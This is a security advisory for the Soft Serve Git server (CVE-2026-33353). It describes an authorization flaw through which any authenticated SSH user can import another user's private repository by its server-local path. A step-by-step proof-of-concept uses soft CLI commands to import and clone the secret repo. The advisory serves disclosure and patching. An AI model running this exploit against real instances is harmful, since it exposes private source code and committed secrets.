Advisory

GHSA-xgxp-f695-6vrp

Also known as: CVE-2026-33353, GO-2026-4788

Summary

In Soft Serve, an authenticated repo import can clone server-local private repositories

Details

Summary
An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details
Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from `pkg/ssh/cmd/cmd.go:172`, which calls `pkg/backend/user.go:46`. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at `pkg/backend/user.go:94`.

The import command then passes the user-controlled REMOTE into `pkg/backend/repo.go:102`. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is:

PoC
Configuration:

  • Default local test configuration is sufficient.
  • SSH must be enabled.
  • At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps:

  1. Start Soft Serve.
  2. As an admin, create a private repo:
soft repo create secret -p
  1. Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
  1. Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
  1. Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret

Expected result:

Error: repository not found
  1. As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
  1. Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes:

  • The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact
This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties:

  • Operators hosting Soft Serve for multiple users or teams
  • Owners of private repositories on the same instance
  • Any deployment where untrusted authenticated users can use repo import

Practical impact:

  • Theft of private source code
  • Disclosure of secrets committed to private repos
  • Exposure of unreleased or internal projects
  • Possible follow-on supply-chain risk if stolen code contains credentials or release material

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-19 19:27 UTC
Modified
2026-03-27 22:17 UTC

Affected packages and fixes

github.com/charmbracelet/soft-serve

Go · All systems

Affected

  • introduced 0.6.0, fixed 0.11.6 (semver)

Fixed versions

0.11.6

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences